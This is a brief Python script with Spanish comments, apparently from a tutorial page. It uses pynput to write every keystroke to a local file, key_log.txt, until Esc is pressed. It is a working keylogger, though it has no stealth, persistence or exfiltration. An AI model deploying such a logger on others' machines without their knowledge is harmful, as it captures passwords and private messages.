1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
from pynput import keyboard # Archivo donde se almacenarán las pulsaciones log_file = "key_log.txt" def on_press(key): try: with open(log_file, "a") as f: f.write(f"{key.char}") except AttributeError: with open(log_file, "a") as f: f.write(f" [{key}] ") def on_release(key): if key == keyboard.Key.esc: # Detener el listener cuando se presione la tecla Esc return False with keyboard.Listener(on_press=on_press, on_release=on_release) as listener: listener.join() |